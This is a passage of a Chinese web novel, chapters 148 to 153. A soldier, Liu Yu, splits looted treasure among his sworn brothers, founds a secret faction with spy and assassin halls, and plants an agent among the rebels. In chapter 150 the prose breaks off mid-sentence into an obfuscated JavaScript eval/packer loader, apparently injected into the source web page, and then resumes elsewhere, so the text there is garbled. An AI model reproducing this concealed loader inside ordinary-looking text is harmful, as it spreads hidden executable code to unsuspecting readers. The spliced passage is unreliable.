“我要分一半！” 柳羽坐到桌边，给自己倒了碗水，喝了口后，啧啧称奇地朝着武总旗道： “哎呀呀，曾经那个忧国忧民的武总旗，怎么一变总督，就开始唯利是图起来了？” 砰！ 此话一出，武总督悍然一拳砸在柳羽面前的桌面上，震得桌面上的茶碗乒乓作响： “我让你杀王县令，你却把整个都指挥使司一整队的官兵全杀了。” “我变成这样你不清楚吗，都是你逼的！” 第一百四十八章 小团体 “我逼的？” 柳羽笑容古怪，大感荒谬。 人的本性改变，是逼能逼出来的吗？ 更何况是武汉冲这样的聪明人，他会因为别人干了什么事，而转变性格？ 说白了，武汉冲以前一副忧国忧民的模样，现在变得这么势利。 在柳羽看来，不过就是本性暴露了而已。 什么被人逼的，被事逼的，被世道逼的。 全是放屁！ 柳羽望着眼前无比陌生的武汉冲，颇为惊讶的道： “我以前怎么没发现，你这人居然这么虚伪呢？” “说真的，你这演技绝对是影帝级别的，哦不，影帝都没你会演。” 武汉冲听不懂影帝是什么东西，只是冰冷道： “十几箱财宝，我要一半，你记住了。” “而且我就只给你三天期限，三天之内我看不到东西，后果你可要好好想清楚。” 柳羽嗤笑：“能有什么后果？” “到我柳羽嘴里面的东西，从来就没有吐出去的道理。” “武总旗，我也奉劝你考虑清楚，你搞我，我一个小旗身份地位再怎么降，也不过就降成大头兵而已。我搞你，你可就要家破人亡了。” 武汉冲怒急。 双手撑着桌面，两只眼睛死死凝视着柳羽： “你特么的真要吃独食？那么多财宝，你吃得下吗？” “当真一文不给？” 柳羽摇头：“一文不给。” “哈哈哈，好小子，有骨气。”武汉冲大笑出声，手掌拍在柳羽肩膀上：“那你就都吃了，全吃光，撑死你！” 武汉冲冷哼一声，从口袋里掏出一张写满文字的羊皮卷，扔到桌面上： “这是都指挥使司被截杀一案的调查结果，朝廷已经定性为叛军所为。” “关键点你记一记，免得回头汪大人问起来，你回答不上来。” 说罢，武汉冲扭头就走，自城门楼子摔门而去。 柳羽一直等到武汉冲走了有好一会儿，才捡起桌上的羊皮卷查看。 上面记录着有关都指挥使司被截杀一案，武汉冲亲自调查的各处细节。 但其中有意思的。 在现在这个年代，文人们书写诗篇卷宗，都是从左往右竖着写。 不存在从左往右横着写的情况出现。 但武汉冲给的羊皮卷，竖着读，是对案件细节调查的详情记录，其中除了记录案件的细节，还不乏对汪大人的赞美之词。 可第一排横着读，居然也能连成一句话：小心洛城而来，庸碌之官。 洛城，指的自然是洛北城。 而洛北城来的官，就汪大人一个。 柳羽眉头微皱。 这藏着羊皮卷里的一句话，到底是武汉冲有意的，还是无意的？ 如果是有意的，他是在提醒自己，小心汪大人吗？ 柳羽若有所思。 却也没有多想，看过一遍羊皮卷后，就直接将其丢进了火盆中，当作无事发生。 到了傍晚的时候。 武汉冲武总督虽然白天对着柳羽放了狠话，却也不敢真的跟柳羽撕破脸皮。 汪大人说的四百名士兵，一个不差，完完整整送到了柳羽手上，其中不包括柳羽跟他这群兄弟。 甚至因为考虑到这四百人要吃饭，武汉冲还贴心送来了三万石粮食。 本来士兵移交之后，刘宪阳身为总旗，是要立即给四百名士兵登记入册，然后提几个小旗上来，分队管理的。 柳羽却是直接让四百名士兵，到刘宪阳的卫所营里歇息去了。 而刘宪阳这个总旗，则是直接消失，出现在王员外府邸。 新移交过来的四百名士兵，连他的面都没有见到。 王员外府邸内的大堂当中，柳羽坐在主位，让李晟找了一坛烧酒，给在场兄弟们满上。 长桌两边，全部都是熟面孔。 李晟、王五、刘季、陆游、袁羌，甚至就连之前截杀都指挥使司，受了致命伤的周阳，都坐在了柳羽的右手边首位的位置。 在这样的一个十几人组成的小团体里面。 刘宪阳这个临县城堂堂的总旗，只能坐在末尾角落的位置，如喽啰一般，看所有人都脸色。 等李晟给兄弟们把酒倒好以后，柳羽站起身，将酒杯举起： “诸位兄弟，我柳某人不过一介山野村夫，能走到今天这一步，幸得众兄弟的抬爱。” “今天把大家聚在一块。” “第一，分钱。” “第二，庆祝咱们在这操蛋的世道当中，活到了今天！” “来，干！” 以柳羽如今在众人心中的地位，哪怕他不说分钱，兄弟们能在柳羽的召集下聚一聚，就已经很开心了。 柳羽却深知，天下熙熙皆为利来的道理。 小家子气，当不了大哥。 当大哥，就得够大方。 所以开场第一句，直接就是分钱。 屁话讲再多都没有，在柳羽看来，好话说再多，也不如实打实的金子摆在面前来得管用。 以至于，柳羽话讲完一举起酒杯，包括刘宪阳在内的一众弟兄，都纷纷站了起来。 “柳哥，说这话就见外了，你靠谱，兄弟们都愿意跟你！” “对啊，什么钱不钱的，我刘季就认柳哥一人！” “嘿嘿嘿，柳哥，俺可不可以不要钱，俺现在铠甲有了，缺把趁手的兵刃，你给俺再搞把兵刃可以不。” 袁羌憨憨地道。 柳羽大笑： “我当然知道兄弟们的心意，但亲兄弟明算账。” “钱得分，有啥要求想法，你们也尽管提。” 说着，柳羽目光看向袁羌：“你小子，有了媳妇就想小妾，说说吧，喜欢什么样的兵刃？” 袁羌憨憨一笑：“锤…不不不，斧头，不不不，枪！” “对，柳哥，俺想跟你一样用枪，那个用起来，看着靓得很。” 柳羽目光无语的在袁羌身上扫视。 “你这两米多高的体格，棒打鸳鸯的，用枪的话，那不跟娘们儿拿绣花针似的吗？” 此话一出，众人哄堂大笑。 周阳捂着腹部还没好的伤口，笑得上气不接下气： “哈哈哈哈，娘们儿拿绣花针，柳哥这形容，噗哈哈。” 陆游也是忍俊不禁：“噗嗤，袁羌啊，听哥的，枪这玩意儿真不适合你。” “你这体格舞起来，显得太秀气了。” “柳哥耍枪好看，是因为他是翩翩公子哥呀。” 第一百四十九章 是兄弟，就有肉吃 见大伙都在笑自己，袁羌挠着头，顿时就不知道该要什么了。 柳羽见状，当即道：“袁羌啊，哥给你指条明路。” “咱用戟，战戟！” “大开大合，披靡四方，霸气侧漏！” “我想办法，找铁匠给你打一把百斤中的战戟，保管以后你上了战场，随随便便都能杀他个七进七出，从头砍到爽！” “这不比耍枪来得好看啊？” 此话一出，众人都是眼睛一亮。 想到袁羌这体格，骑着战马，身穿铠甲，手执三四米长的战戟冲进人堆。 那画面太恐怖，简直不敢想象！ 袁羌在柳羽的形容下，也是一瞬间就被说服了。 憨笑着，小鸡啄米似的朝着柳羽点头：“战戟好，俺就要战戟！” 柳羽咧嘴一笑。 袁羌的作用，柳羽在心里早就已经规划好了。 冷兵器时代，像袁羌这样的存在，只要全副武装，那就是战场上的坦克，绝对意义上的杀神。 不说以一当百，二三十人，在袁羌全副武装的情况下，是绝对不够袁羌杀的。 给袁羌选择兵刃的小插曲过后，柳羽立即进入主题。 命人将堆在屋里角落的一箱箱金银珠宝，全部打开，展露在一众兄弟们的面前。 烛火微光下，金银珠宝反射出的精光格外耀眼。 哪怕柳羽这群弟兄，对金钱没什么太大的追求。 在这巨大的视觉冲击下，也瞬间就看入了迷。 柳羽观察着大家的反应。 等大伙看了好一会儿后，柳羽才轻笑着道： “这汇聚一个县财富的金银珠宝，实在是太多了，一箱少说值几万两。” “具体有多少，我可没时间数，但好在够多，咱按箱数分。” “屋内在场的，一人一箱，大家意下如何？” 此话一出，所有人都不淡定了。 正常情况下来说，柳羽拿出一箱财宝来供众人分，这一份阔气，就是一大帮朝廷官员做不到的事情了。 然而谁也没想到。 十几箱财宝，柳羽不是单独拿一箱财宝出来分。 而是一人一箱！ 这哪儿是阔气啊，财神爷也做不到这样分钱啊！ 堂屋里，咕噜咽口水的声音此起彼伏。 众人懵逼了良久之后，率先反应过来的李晟才艰难道： “不是吧，羽哥儿！这么多，你全拿出来分了啊？” 王五也是赶忙劝解： “柳哥这可使不得啊，你这样分，不知道的还以为兄弟们要散伙了呢。” 其他人也是纷纷点头： “是啊柳哥，一人一箱，你就是分了我们也带不走啊。” “俺当兵就是想家人都吃饭而已，分钱给俺，俺也没地方用呀。” 众人的反应，柳羽可谓是相当的欣慰。 但欣慰归欣慰，柳羽从来都是一个说到做到的人。 一意孤行道： “都别劝，我说一人一箱，就一人一箱。” “今年带不走，明天开春情况好转，战事一停难道还带不走吗？” 李晟嘴巴微张，还想说些什么，却被柳羽直接抬手打断。 随即，柳羽弯腰到桌子下面，取出来整整一大捆铜锁，扔到木桌之上。 柳羽指着铜锁淡淡道： “钱给大家分了，大家暂时带不走，但我已经想好解决办法了。” “我点到名字的，自己上来拿铜锁挑一箱财宝，挑中哪一箱，就用铜锁将箱子锁上，钥匙自己好生保管。” “什么时候需要用钱了，什么时候可以转移财宝了，大家拿着自己的钥匙自己来取不就行了？” 众人眼睛大亮。 柳羽态度强硬要给大伙分钱，大伙就已经很开心了。 没想到，他连这些都考虑到了。 柳羽也不含糊，直接点名字： “第一个，李晟，自己上来选。” 李晟眼看劝不动柳羽，只能是笑嘻嘻走到柳羽面前接过一把铜锁，跑到堆满财宝的墙边挑选了起来。 仅仅只是对着十几箱财宝扫了一眼，李晟就扭头朝一众兄弟笑着道：“又不是挑娘儿们，选锤子啊，财宝都差不多一样多。” 大伙哄堂大笑。 李晟则是随手盖住一箱财宝，给箱子上了锁。 他选完后，柳羽静接着道： “王五。” 王五有点懵逼，用手指着自己，满脸不敢置信： “柳，柳哥，我这身份…我也有份啊。” 柳羽直接一个白眼过去： “废什么话，娘们儿唧唧的，那么多兄弟等着呢，让你选你就选。” 截杀都指挥使司一事，王五虽然没有参与。 但后期转运财宝到此处，王五却是起了大作用。 加上王五又是柳羽兄弟，柳羽给他分财宝，大家伙不仅不说什么，反而觉得理所应当。 纷纷起哄道： “对啊，娘们儿唧唧的！” “快点选，我还等着呢！” “给你分钱你还拖拖拉拉的，你行不行啊你！” 陆游周阳他们嬉笑起哄。 王五也是怒了： “去，急个球啊，又不是进洞房。” 笑骂着，王五当即快步上前挑了一箱财宝上锁。 随后，柳羽依次叫出周阳陆游他们的名字，让他们自己上来挑财宝上锁。 到了最后，所有兄弟都高高兴兴分到了属于自己的一箱财宝，收好了手里的钥匙。 柳羽看了眼还剩下的两箱，没人认领的财宝。 又扫了眼缩在角落不敢出声的刘宪阳刘总旗。 柳羽故意等了十几秒，才轻笑着开口： “刘宪阳，上来挑财宝。” 突然被叫到名字，刘宪阳愕然抬头，脸上的神情，比刚才王五被点到名字时，还要懵逼几十倍。 作为屋里唯一一个外人。 能进屋，刘宪阳就已经很惊喜了。 此刻被点到名字上去分钱，刘宪阳心中涌现出的不是惊喜，而是深深的惶恐。 就连说话的声音，都是颤抖的： “柳，柳哥，我，我也有？” 柳羽挑眉，故作出一副冰冷的面孔： “你什么意思，不拿大家伙当自己人是吧？” 刘宪阳慌忙摆手。 惶恐的模样，哪有一丁点身为总旗的风范在： “没，没有，只是，我以为…我不配。” 柳羽脸上的冰冷瞬间就消失了，转而一脸调侃道： “什么配不配的。” “在我这，是兄弟，就有一口肉吃，谁也少不了。” “来吧，最后两箱，挑一箱吧。” 第一百五十章 太平阁 刘宪华起身时，走路都是颤抖的。 磨磨蹭蹭了好久，才艰难走到柳羽跟前，抬手接过柳羽递来的铜锁。 “都护府官兵被劫一案，是我带着这帮兄弟们干的。” “得知真相，你就不想说点什么吗？” 柳羽笑盈盈道。 刘宪华深吸一口气摇头： “不想。” “现在我也是参与者，别的不知道。” “我只知道，跟着羽哥儿，有前途。” 柳羽咧嘴一笑，错开身子，让刘宪华自行去从最后两箱财宝里选一箱。 金子银子，能流通才具备价值。 柳羽很清楚这一点。 这么多财宝分出去，看似是柳羽没头脑，吃了大亏。 实则，柳羽却是用分钱这个行为，将所有人，牢牢绑定在了一块。 其他弟兄自不必多说，只要他们还想要这些钱，还想要活命，从此以后就绝对不可能背叛柳羽。 而且在柳羽这么大方情况下。 所有人都能明白一点，只要跟着柳羽好好干，好处就一定不会少。 没人会脑子不正常，选择摆烂。 人本性上的自私，也会被大大削弱。 所有人都会一条心，为整个团队的发展而努力。 至于刘宪华。 此前，柳羽是用他的家人控制他。 现在他收了柳羽的**，受了柳羽的恩惠。 可以直白的说，柳羽在给他上玩情亲这道枷锁后，又往他的良心上，经济上，上了两道保险。 只要刘宪华接受了。 他在想摆脱柳羽的控制，就需要付出大到他完全无法接受的代价。 大棒加甜枣。 柳羽给出去的是钱，换来的，却是一个总旗的绝对忠诚。 在冷兵器时代的乱世当中，人跟拳头，永远比金子有用。 柳羽很清楚这一点。 等到刘宪华选完财宝，往属于自己的财宝箱上上了锁。 甚至都不等柳羽开口。 李晟立即道：“羽哥儿，之前你说的，兄弟们要想活命，就得换一个活法。” “你说要带兄弟们，组建一个属于自己的势力。” “嘿嘿，羽哥儿你不会忘记了吧？” 李晟此话一出，众人纷纷附和： “对呀羽哥儿，这可不能忘啊！” “兄弟们都等着跟你大富大贵呢，这个时候你想退缩，兄弟们可不答应。” “对啊，皇帝老儿我都不认，我就认我羽哥儿！” 柳羽眉头轻挑。 丝毫不怀疑，如果当下情况对得上的话，手下这帮兄弟，会趁自己晚上睡觉，把龙袍批到自己身上。 组建属于自己势力这件事，柳羽当然不可能忘。 分钱，就是在为这事儿做准备。 柳羽招呼众人坐下，在主位上笑着道： “当然不可能忘。” “朝廷无度，叛军无德，这两边我们那边都靠不住。” “唯有自己拳头硬，才是正道理，才能保护自己，保护自己的家人。” 柳羽说着，当即道： “咱们势力的名字跟发展方向，我已经确定好了。” “首先，刘宪华。” 柳羽目光看向已经逐渐融入这个小团体的刘总旗： “你身为总旗，把这个王员外府从律法上，划分到自己名下，没什么问题吧？” 刚分得了一大箱财宝。 柳羽提要求，刘宪华毫不犹豫拍着胸口保证： “小问题，要是连这点事都做不到，我也不用跟着羽哥儿了，直接找块豆腐撞死得了。” 柳羽咧嘴一笑，当即道： “这事儿你尽快办，办完后把门口的牌匾下了，找木匠重新刻一块牌匾挂上去。” 听到这话，刘宪华眉头微皱：“都没问题，就是新牌匾上，要刻那几个字呢？” 柳羽笑着，伸手将食指伸到酒杯当中。 随即，柳羽用酒水，在桌面上写下了‘太平阁’三个大字。 写完后，柳羽望着众兄弟们道： “我要开一个大大的店铺，一楼是吃饭的地方，二楼是卖各类商品的地方，往上则是住宿的地方。” 这个时代，没有商城的说法。 众人更不理解，创立自己的势力，是要在乱世中求存，打天下的，柳羽为什么要开店。 但不等众人发出疑惑，柳羽就笑着道： “大家先不用疑惑。” “咱们这个太平阁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“第一，我们要有属于自己的眼睛，需要一个专门的队伍，为我们打探我们想知道的一切情报。” 第一百五十一章 安插，植入 说着，柳羽目光朝着王五看去。 “王五，你既有叛军的身份，又有卫所营士兵的身份。” “无论是临县还是叛军，你都比较熟悉。” “我给你二十个人，任命你为我太平阁的天机堂堂主。” 柳羽笑着道：“太平阁，严格意义上来说算是江湖势力，所以身份认命，咱按照江湖的规矩来。” 听到柳羽的话，王五没有过多犹豫就同意了。 但却疑惑道： “羽哥儿，我当天机堂堂主没问题，但具体该怎么做…” 柳羽抬手：“不用担心，具体怎么操作，之后我会私下跟你说。” 说罢，柳羽目光看向李晟： “太平阁有人搞情报，就得有人当太平阁的刀。” “李晟，我任命你为太平阁的七杀堂堂主，同样给你二十个人。” “你跟你这些人只需要做一件事，谁阻碍到兄弟们前进的步伐了，就让他永远消失。” 怕李晟不答应，柳羽还宽慰道： “放心，刚开始让你暗杀的人，不会太困难。” 李晟同样没有过多犹豫就点头了。 既然已经决定做了，那就没有退路了。 李晟果绝道： “羽哥儿放心，哪怕是皇帝老儿，你一句话，我也带人拿命去杀。” 柳羽咧嘴一笑。 自己一手培养出来的人，用着就是顺手。 说什么，没有犹豫就同意了。 搞情报跟搞暗杀的解决了之后，就是对朝廷的渗透了。 柳羽目光看向刘宪华： “宪华啊，官场的事情你比我懂。” “具体职务我就先不给你安排了，你要做的，是跟所有你能接触到的朝廷官员将领们，搞好关系。” “这一点，对你来说应该不算太难吧？” 刘宪华咧嘴一笑。 先前听到柳羽给李晟跟王五安排的事情，见柳羽叫到自己，还以为会给自己安排什么难事。 没承想，是让自己去跟别人同流合污，和光同尘。 这一点，对刘宪华来说简直不要太简单了。 简直就是刘宪华的专业领域。 没有犹豫，刘宪华直接笑着道：“羽哥儿，我猜你的意思是，让我最好能抓住每个当官的把柄，收买或同化他们吧？” 柳羽笑着点头。 瞅瞅，专业的人干专业的事。 都不用自己多说，刘宪华就自行领会了意图。 更让柳羽惊喜的是，刘宪华在得到柳羽的肯定回答后。 直接拍着胸脯道：“这对我来说太简单了。” “整个临县，王总旗武总督，甚至死了的王县令，他们的把柄我都有。” “虽然没大到能让他们被查出杀头的地步，但只要我自爆，他们每个人的乌纱帽都带不住。” “不过我觉得，羽哥儿你更关心的，应该是汪大人的把柄。” 刘宪华深知，自己在柳羽这帮兄弟中，地位是最低的。 他非常急于表现自己，提高自己的地位。 直接拍着胸脯朝柳羽保证道： “羽哥儿，今天过后，我就天天到县衙去给汪大人拍马屁。” “不说多了，我保证在一个月内，搞到汪大人的把柄。” 此话一出，属实是给柳羽开心坏了。 一脸欣慰地看着刘宪华： “好好好，你小子，我果然没看错你！” 结果刘宪华年纪比柳羽大。 但听到柳羽这番夸奖，也是开心得有点找不着北。 见大部分要紧的事都安排妥当了，柳羽这才将目光，看向其他兄弟： “诸位，接下来就是最重要的事情了。” “咱们刘总旗手下，不是新来了四百名士兵吗？他们都是需要人管的。” 柳羽此话一出，别人还没反应过来，刘宪华第一个道： “羽哥儿的意思是，咱不仅要渗透官场，还要渗透军营？” 柳羽没好气地瞪了刘宪华一眼： “怎么能叫渗透呢。” “你身为总旗，给咱这帮兄弟都安排个小旗当当，那不是顺水推舟的事情吗？” “咱这些兄弟当小旗，是要为朝廷跟国家做贡献。” “是卫国建功的英雄，英雄懂吗！” 听到这话，刘宪华赶忙抬手抽了自己几巴掌： “对对，羽哥儿说得对。” 没有任何犹豫，刘宪华直接给每个人登记入册。 王五李晟他们，有另外的事情做。 而剩下的刘季、陆游、周阳，袁羌等十人，全部要进入刘宪华的卫所营里当小旗。 也就是说，他们每个人，都能分到40个兵带。 小旗这种职务，说大不大，说小不小，跟普通兵丁比起来，不过就是有了点小权而已。 朝廷并不会给小旗，多发一点钱银。 这也就导致了，小旗这个职位是由卫所营总旗，全权任命的。 基本上不会有人过问跟在意。 一个卫所营里，总旗想任命几个小旗就任命几个。 全凭自己开心。 因此柳羽要安排兄弟们当小旗，完全不存在任何阻碍。 等到刘宪华，把每个人的名字都记好，准备明天一早就通报整个卫所营，命他们当小旗后。 柳羽当即站起身，目光看向周阳陆游等人： “兄弟们，有一点我得求求你们。” “你们当小旗后，获得的一切军功，能往袁羌身上推的，全推给袁羌。” “咱们中，有宪华一个总旗不够，咱还得以最快速度，把咱们其中一个人推到副总旗，甚至再造一位总旗出来！” 亲手打造一位总旗。 这话哪怕传出去一个字，全屋所有人都得掉脑袋。 偏偏柳羽就是说了出来。 不仅敢说，而且有十足的把握给袁羌堆军功，把他堆成总旗。 柳羽这个决策，是为全团队考虑，大家自然不会说什么。 但柳羽选的人选，却让所有人都不理解。 哪怕是袁羌自己，都是一头雾水： “羽哥儿，俺就会干力气活，不会当什么副总旗，更不会当总旗啊。” “陆游周阳他们，哪一个都比俺行呀。” 柳羽淡淡道：“你们都不明白，我为什么单独选袁羌吗？” 陆游等人纷纷点头。 “因为他憨厚。”柳羽笑着道：“对于聪明人来说，越憨厚的人越好欺负，越老实的人越好控制。” “临县现在由汪大人掌管，汪大人是个聪明人，你们其中任何一人获得军功，汪大人都不会轻易提拔你们，因为临县高层现在很平衡。” “袁羌就不一样了，袁羌一旦进入汪大人视野，让汪大人觉得他是个又勇武，又老实的人，汪大人很有可能，把袁羌当亲信提拔。” 第一百五十二章 新官上任三把火 听闻此言，众人纷纷瞪大了眼睛。 刘宪华更是忍不住朝柳羽竖起大拇指：“羽哥儿，高啊！” “你真的没当过官吗？为什么感觉你对官场的事情这么懂。” “要知道，在官场最难能可贵的，就是会装糊涂。” “像袁羌这样忠厚老实，又战力非凡才存在，确实是很容易就被汪大人看重。” 柳羽轻笑。 并没有打算告诉众人，自己之所以了解这么多，是因为自己的灵魂，来自另外一个世界。 见所有人都不再反对后，柳羽就放心了。 当即宣布解散，让大伙各回各家，各找各妈。 只是等到大部分人走了后，柳羽却是将王五单独留了下来。 “王五，你作为天机堂堂主，收集各路情报这种事情，千万不能马虎。” 王五点头：“我知道，羽哥儿你说，我具体应该这么做。” 柳羽目光望着王五，却是不好意思的笑出了声： “我想让你带五个人，回叛军。” 王五眼睛瞪大：“什么？羽哥儿你刚才不是说，让我带人收集叛军跟临县城的情报吗，怎么又…” 话还没说完，王五就猛然反应过来： “哦对，叛军躲在山林当中，所有兄弟里面适合去叛军打探情报的，就只有我一个。” 王五虽然明白过来了柳羽的意思，心里却多少有点郁闷。 他先是在卫所营当兵，接着又背叛卫所营加入叛军。 现在离开叛军，跟柳羽混了，结果柳羽又让他回叛军打探情报。 这都已经不是墙头草了。 说是三姓家奴都不为过。 就连王五自己，都觉得自己这样子，有点道德败坏了。 皱眉道： “羽哥儿，你让人做什么，我肯定是照办的。” “但羽哥儿你也知道，我跟个墙头草似的阵营来回换，你真的，信得过我吗？” 柳羽咧嘴一笑，大手拍在王五肩膀上： “咱一个村出来的，我怎么可能信不过你。” 说着，柳羽从怀中，掏出了一封早已经写好，用蜡封好的信件递到王五手里： “你今晚就动身出城，另外这封信带给玉军师，顺便代我向她问好。” “信里内容你不用有疑虑，我直接在信里告诉玉军师了，你是我的人。” 王五原本听到柳羽相信自己，还蛮感动的。 此刻却是如遭雷劈：“直接告诉玉军师了？” “那这不就相当于是告诉玉军师，我回叛军，就是回叛军当内奸的吗？” 柳羽不置可否的点头：“是啊，只有这样，玉军师才不会轻易杀你。” “你想想看，难道我不告诉玉军师，你回叛军是去当内奸的，玉军师那么聪明，并且知道你我关系，她难道就猜不出来吗？” “她猜得出来，而且大概率你一回叛军，她就看出来了。” “既然如此，与其让她搁哪胡乱猜，之后又在我手上吃瘪了，一气之下把你杀了，还不如直接告诉她，你就是我的人，我就是让你去叛军当内奸的，而且你对我很重要。” “想想看，这样会发生什么？” 王五皱眉沉思。 可以想象，柳羽这样做，羽军师在明知道王五是叛徒的情况下，虽然不会重用王五，却也不会杀王五。 而是会想着利用王五，给柳羽传递假情报。 这样一来，只要柳羽这边不出事，王五对玉军师而言就一直都有利用价值。 她就更不可能杀王五了。 只是…… 王五不解道： “羽哥儿，我还是不明白。” “如果是这样的话，我传回来的都是假情报，对你也没用啊。” “有用的。”柳羽自信道：“判断情报真假是我的事，你的事，就是把情报带回来，无论真假！准备准备动身吧，不要多想。” 王五无奈，只能照办。 他从四十六名被柳羽收买的叛军精锐中，挑了五个人出来。 带上干粮食物，当即连夜出城，朝着豹子山赶去。 柳羽一直将人送到城门口。 知道现在大雪封山，山路不好走，王五这一程，必定艰难。 不过再艰难也要做。 自己现在这临县算是站住了脚跟，叛军那边，也必须埋下一枚暗子。 至于这暗子会起到什么作用，那就只有天知道了。 次日一早，县衙开会。 汪大人召集刘总旗，王总旗，以及武总督，前往县衙商讨临县城防大事。 柳羽本以为，临县已经烂成这样子了，汪大人闹不出什么大阵仗出来。 不曾想，依旧是新官上任三把火。 汪大人一个早上，什么事情都不干，就干一件事，把临县的建制彻底打乱。 原本武汉冲拥有的，靠近城门口的后卫营营地，汪大人交给了刘总旗。 让刘总旗刘宪华，担任后卫营总旗，手下四百人，负责城门换防。 而武汉冲，则是被发配到了后城门的先锋营营地。 手下一百多人，负责城内巡逻，监察城内一切事宜。 看起来，武汉冲当了总督，升了官。 实则是明升暗降，官很大，权力却小了一大半。 就连王总旗，混得都比他好，被汪大人打发去了百户营营地，手下四百多人啥也不用干，就天天搁营地校场练兵就行。 武汉冲堂堂总督，却成了城里带队巡逻的。 早出晚归不说，城里出啥事，汪大人都能直接怪到他头上。 日子不可谓不苦逼。 不过好在。 汪大人对临县建制改动虽然大，对柳羽却起不到任何影响。 柳羽一个小旗，既能跑刘宪华的后卫营里，舒舒服服过日子。 闲了还能到大街上找武汉冲玩。 汪大人事务繁忙，根本没时间管柳羽这样的小人物。 这也就直接导致了，柳羽有极大的空间进行操作。 利用朝廷的资源，干自己的事。 正午时分，后卫营里。 刘宪华这个总旗，按照柳羽的意思，搁县衙里跟汪大人拍马屁。 而柳羽看似小旗，却拥有着总旗的权利。 直接命陆游周阳他们，把武汉冲移交过来的四百名士兵，聚拢到了城门口右侧的校场之上。 所有人都聚集完以后，柳羽站在人群最前方，直接开始人事任命： “陆游，四百人，你自己挑四十人跟着你。” “不过膀大腰圆，孔武有力的别挑，这类士兵，我要单独留给袁羌，组建一支神军。” 第一百五十三章 群情激奋 陆游才不在乎呢。 他作为一个，以前身在武汉冲手下的小兵。 能有官当就已经很开心了。 至于手下人行不行，能不能打仗。 那是柳羽要考虑的事情，陆游主打一个听命令。 当即就走到人群中指指点点起来： “你，你你，还有那个瘦高个，你们这一群人，到我身边来。” 四百名士兵，全都是武汉冲移交过来的。 被陆游趾高气扬指到名字的人，神情都颇为不爽。 却也没有爆发，只是慢慢悠悠走到陆游身边站着。 陆游一选好，柳羽目光看向刘季周阳他们，直接道： “都别愣着了，厉害的留着，其他的随便挑。” “都去挑自己的下属吧。” 刘季周阳他们咧嘴一笑，纷纷下场挑人。 事情进展的很顺利。 几个兄弟，都很快就挑好了，自己看上的人选。 但就在临近末尾时，周阳看中了一个一米七左右，个不高，贼眉鼠眼的男人。 “这不是聂小旗吗？武总督居然把你也移交过来了？” “怎么说聂小旗，来我这，跟着我混吧。” 周阳笑着朝那男人道。 他叫聂明远，之前武汉冲手下小旗。 没当兵前，是临县县衙大牢的常客，当飞贼的。 一手偷梁换柱，撬门开锁的本事，练得是炉火纯青。 正因为有这特殊的本事，这才被武汉冲看中，把他从临县大牢里提出来，让他当了兵，甚至还给了他一个小旗做。 汪大人让武汉冲，移交四百名士兵给刘宪华。 按道理来说，武汉冲移交谁，都不可能把自己一手培养出来的小旗，给移交出来的。 小旗对于总旗来说，那都是辛辛苦苦培养出来的亲信。 但偏偏的，聂明远这个武汉冲手下的小旗，就是被武汉冲给舍弃了。 聂明远心中怨气，可谓是相当之大。 听到曾经的小兵丁，当了小旗，让自己跟着他混。 当即怒骂道： “滚一边去，你算个什么东西。” 聂明远不仅臭骂周阳，更是手指柳羽冰冷道： “老子倒是好奇了，刘宪华才是后卫营总旗。” “你是个什么玩意儿，卫营的小旗任命，轮得到你搁这指指点点！” 面对怒骂，柳羽并不生气，反而是笑着道： “哦，我不行吗？” “不行！”聂明远冷声道：“你别以为老子不认识，柳羽是吧？” “老子之前在武总旗手下当小旗的时候，你还在娘胎里没出来呢。” “想让老子跟谁混，等刘总旗回来亲自说，老子就是看不惯你们这帮人小人得志，你们算老几啊！” 聂明远此话一出，其他士兵也顿时忍不住了。 纷纷开口表达不满： “对啊，我们跟谁，刘总旗都没说话呢，凭什么听你的！” “你柳羽不就是个跟我们一样的大头兵吗，你算老几啊！” “让刘总旗来说，你滚蛋！” 不满的声音此起彼伏。 聂明远见大家都不满起来了，顿时得意地看向柳羽： “哼哼，你也看见了，不仅是我对你不满，所有人都不满你！” 听着这些声音，柳羽只是饶有兴味的看着，一句话也不说。 但柳羽不说话，可不代表周阳陆游他们是死人。 尤其是袁羌，向来莽撞。 柳羽啥话都没说，袁羌听到这群人骂柳羽，那是当即就抽出了一把刀来，冲到聂明远跟前： “你刚才说什么，敢不敢再说一句？” “敢对羽哥儿不敬，老子砍了你！” 袁羌从来都不只是放狠话。 明明是他让聂明远把刚才的话，再重复一遍的。 可都不等聂明远重复，袁羌抄起刀，对着他的脖子就砍。 聂明远整个人都被吓直挺了，愣眼看着朝自己砍过来的刀刃，一脸懵逼。 “袁羌！” 柳羽大喝一声：“住手！” 袁羌劈向聂明远脖子的刀，瞬间停在了聂明远脖颈上。 虽然停了手，袁羌却是一脸不服气地看向柳羽： “羽哥儿，他骂你！” “你别拦着，让我砍了他！” 柳羽一脸无语。 武汉冲四百名士兵刚移交过来，你就因为别人骂我两句砍死一个？ 你让其他士兵怎么想？ 现在杀聂明远，是会引起众怒，甚至是哗变的。 四百人的队伍一旦哗变，整个临县会乱成什么样子，柳羽简直不敢想。 柳羽没好气地朝袁羌道： “骂就骂呗，他骂我又不能让我掉块肉，你砍人干什么玩意？” 袁羌一脸愤慨： “不行，他骂你，就是不行！” 柳羽直翻白眼。 深吸一口气，走上前一把抢过袁羌手里的刀： “没事哈，都是自己人。” 袁羌那是真轴啊，任凭柳羽怎么劝，眼睛就是死盯着聂明远： “羽哥儿，让我砍了他。” “你别拦着，他骂你一句，我就砍他一刀，这样总行了吧！” 柳羽无语到极点，一把给袁羌推一边去： “回头再砍，别闹了，回头让你砍个够行了吧。” 直到柳羽说出这话，袁羌才像看死人一般，砍了聂明远一眼： “羽哥儿你说的，我早晚给他剁成肉馅！” 柳羽抬手捂住额头，倍感头疼。 莽夫这东西吧，忠心那是真忠心。 但犟起来，那也是真要命。 无语地朝着袁羌摆了摆手，让他滚远点待着。 柳羽这才将目光，看向聂明远等四百名士兵： “哈哈哈，诸位，手下人不懂事，大家见谅哈。” 见谅？ 聂明远到现在，脸都是煞白的，心有余悸不说，浑身都还在冒冷汗。 要是早知道，柳羽身边，有一个极度袒护他的莽夫。 就是给聂明远十个胆子，他有不敢找柳羽麻烦。 现在柳羽让众人见谅，根本就不是众人愿不愿意的问题。 人群里面，根本就没人想直面袁羌那两米多高的庞大身躯。 根本就不敢不见谅。 柳羽见大家都不抱怨了，可谓是倍感欣慰。 轻笑着道： 